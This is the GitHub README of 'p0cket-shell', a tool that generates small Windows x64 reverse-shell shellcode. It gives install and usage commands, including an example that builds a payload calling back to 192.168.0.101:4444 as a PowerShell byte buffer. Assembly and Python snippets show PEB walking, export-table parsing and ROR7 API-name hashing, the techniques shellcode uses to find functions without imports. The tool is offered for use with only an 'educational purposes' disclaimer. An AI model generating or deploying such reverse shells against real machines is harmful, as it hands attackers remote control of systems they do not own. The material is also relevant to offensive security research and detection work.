Skip to content

SilentisVox/p0cket-shell

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

4 Commits
 
 
 
 
 
 
 
 

Repository files navigation

p0cket-shell

Python License

p0cket-shell is the most compact reverse shell shellcode available. The intention of this shellcode was to explore the least amount of instructions in an executable to establish a reverse shell. Although I do not think that the executable is objetively the smallest, it is miles smaller than what I originally researched.

Disclaimer: The purpose of this generated shellcode is for educational purposes and testing only. Do not use this shellcode on machines you do not have permission to use. Do not use this shellcode to leverage and communicate with machines that you do not have authorization to use.

Installation

git clone https://github.com/SilenitsVox/p0cket-shell
cd p0cket-shell
python p0cket-shell.py

Usage

Generating the shellcode is simply put. The payload is a Windows x64 Reverse Shell, and can run on every Windows x64 machine [2026-04-21]. No argument is mandatory, but the will be filled with default values.

  • LHOST=, you must use a valid ip 0.0.0.0.
  • LPORT=, you must use a valid port 0-65535.
  • EXITFUN=, you may apply the values process || thread
  • FORMAT=, you may apply the values asm || c || powershell || python || raw.
> python p0cket-shell.py                \
lhost=192.168.0.101                     \
lport=4444                              \
exitfun=thread                          \
format=ps1

[*] Payload size: 386 bytes
[*] Final size of PowerShell file: 2646 bytes
$Buffer = [Byte[]] @(
        0x40, 0x80, 0xE4 ...

How it works.

To create a reverse shell, you must make a connection, and pass the respective socket object to a process' standard handles. The functions of choice are CreateProcessA & connect (which subsequently require WSAStartup & WSASocketA). These functions are located within kernel32.dll & ws2_32.dll.

To gather pointers to these functions, we must parse both modules and gather the address' of each function. We can gather the base address of kernel32.dll with a PEB walk; We can load ws2_32.dll with the LoadLibraryA function from kernel32.dll.

GET_KERNEL32:
        MOV     RAX,    GS:[0x60]               ; pTEB            + 0x60 => pPEB
        MOV     RAX,    QWORD   [RAX + 0x18]    ; pPEB            + 0x18 => pLoaderData
        MOV     RAX,    QWORD   [RAX + 0x30]    ; pLoaderData     + 0x30 => 
        MOV     RAX,    QWORD   [RAX]           ; pInLoadOrderModuleList => Flink
        MOV     RAX,    QWORD   [RAX]           ; Flink                  => Flink
        MOV     RAX,    QWORD   [RAX + 0x10]    ; Flink           + 0x10 => pModule

Once the base address to a module is obtained, we can parse it for symbol export datas. The datas are laid out in individual fields that correspond to eachother. Key fields from the Export Directory are: NumberOfNames, NumberOfFunctions, AddressOfNames, AddressOfFunctions, & AddressOfNameOrdinals.

; EXAMPLE
ExportDirectory:
        0x18: XXXX XXXX ; NumberOfNames
        0x1C: XXXX XXXX ; AddressOfFunctions
        0x20: XXXX XXXX ; AddressOfNames
        0x24: XXXX XXXX ; AddressOfNameOrdinals

To gather a functions address, you must know which index it is in the exported name list. The index X 2 added to the AddressOfNameOrdinals will give you the address to the RVA slot. The 2 byte value at that address is the ordinal of the function. The ordinal value X 4 added to the AddressOfFunctions will give you the address to the function offset. The 4 byte value at that address is the offset within the module to that function. The base address + offset is the full address of the function.

When resolving the function address, we must have some unique identifier regarding the function. Including names, instructions from the function, or hashes of the function names. The simplest of hashing algorithms can be used.

Example for python
def ROR7__32(NAME: str) -> int:
        HASH = 0
        for CHAR in NAME:
                HASH = ((HASH >> 7) | (HASH << 25)) & 0xFFFFFFFF
                HASH = (HASH + ord(CHAR)) & 0xFFFFFFFF
        return HASH
Example for assembly
        XOR     RAX,    RAX
        XOR     RCX,    RCX
ROR7__32:
        LODSB
        CMP     AL,     0
        JZ      EXIT
        ROR     ECX,    7
        ADD     ECX,    EAX
        JMP     ROR7__32
EXIT:
        RET